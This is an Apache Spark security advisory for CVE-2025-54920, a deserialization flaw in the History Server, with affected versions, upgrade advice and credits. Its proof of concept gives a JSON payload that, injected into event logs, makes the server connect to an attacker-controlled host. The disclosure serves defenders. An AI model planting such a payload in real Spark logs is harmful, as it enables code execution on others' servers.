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Severity: low 

Affected versions:

- Apache Spark (org.apache.spark:spark-core_2.13, org.apache.spark:spark-core_2.12) before 3.5.7
- Apache Spark (org.apache.spark:spark-core_2.13, org.apache.spark:spark-core_2.12) 4.0.0 before 4.0.1

Description:

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and 
above, which fixes the issue.





Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to 
overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event 
logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command 
execution on the host running the Spark History Server.





Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with 
@JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the 
event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which 
can perform network calls or other malicious actions during deserialization.


The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History 
Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server 
to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.






Proof of Concept:

1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

2. Inject the following JSON at the beginning of an event log file:


{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}







3. Start the Spark History Server with logs pointing to the modified directory.

4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.










Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, 
potentially compromising the entire system.

This issue is being tracked as SPARK-52381 

Credit:

Alexandre Pujol (Linagora) (finder)

References:

https://github.com/apache/spark/pull/51312
https://github.com/apache/spark/pull/51323
https://issues.apache.org/jira/browse/SPARK-52381
https://spark.apache.org/
https://www.cve.org/CVERecord?id=CVE-2025-54920
https://issues.apache.org/jira/browse/SPARK-52381

Current thread:

• CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability Holden Karau (Mar 13)